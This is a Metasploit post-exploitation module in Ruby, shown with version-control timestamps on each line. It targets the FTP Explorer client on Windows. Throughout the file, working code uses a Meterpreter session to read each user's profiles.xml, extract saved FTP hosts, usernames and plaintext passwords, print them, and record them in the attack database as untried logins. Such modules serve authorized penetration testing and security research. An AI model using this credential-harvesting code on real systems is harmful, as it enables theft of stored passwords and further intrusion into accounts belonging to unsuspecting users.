2012-11-30 04:39:14 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-11-30 04:39:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'rexml/document'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::Windows::UserProfiles
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',
|
|
|
|
'Description' => %q{
|
|
|
|
This module finds saved login credentials for the FTP Explorer (FTPx)
|
|
|
|
FTP client for Windows.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>' ],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
end
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
grab_user_profiles().each do |user|
|
|
|
|
next if user['AppData'].nil?
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
xml = get_xml(user['AppData'] + "\\FTP Explorer\\profiles.xml")
|
|
|
|
unless xml.nil?
|
|
|
|
parse_xml(xml)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def get_xml(path)
|
|
|
|
begin
|
|
|
|
connections = client.fs.file.new(path, 'r')
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
condata = ''
|
|
|
|
until connections.eof
|
|
|
|
condata << connections.read
|
|
|
|
end
|
|
|
|
return condata
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error "Error when reading #{path} (#{e.message})"
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Extracts the saved connection data from the XML.
|
|
|
|
# Reports the credentials back to the database.
|
|
|
|
def parse_xml(data)
|
|
|
|
mxml = REXML::Document.new(data).root
|
|
|
|
mxml.elements.to_a("//FTPx10//Profiles//").each.each do |node|
|
|
|
|
next if node.elements['Host'].nil?
|
|
|
|
next if node.elements['Login'].nil?
|
|
|
|
next if node.elements['Password'].nil?
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
host = node.elements['Host'].text
|
|
|
|
port = node.elements['Port'].text
|
|
|
|
user = node.elements['Login'].text
|
|
|
|
pass = node.elements['Password'].text
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# skip blank passwords
|
|
|
|
next if !pass or pass.empty?
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# show results to the user
|
|
|
|
print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")
|
2012-11-30 04:39:14 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# save results to the db
|
2014-06-11 17:35:15 +00:00
|
|
|
service_data = {
|
|
|
|
address: Rex::Socket.getaddress(host),
|
|
|
|
port: port,
|
|
|
|
protocol: "tcp",
|
|
|
|
service_name: "ftp",
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :session,
|
|
|
|
session_id: session_db_id,
|
|
|
|
post_reference_name: self.refname,
|
|
|
|
username: user,
|
|
|
|
private_data: pass,
|
|
|
|
private_type: :password
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_core = create_credential(credential_data.merge(service_data))
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
|
|
|
access_level: "User",
|
|
|
|
status: Metasploit::Credential::Login::Status::UNTRIED
|
|
|
|
}
|
|
|
|
|
|
|
|
create_credential_login(login_data.merge(service_data))
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
2012-11-30 04:39:14 +00:00
|
|
|
|
|
|
|
end
|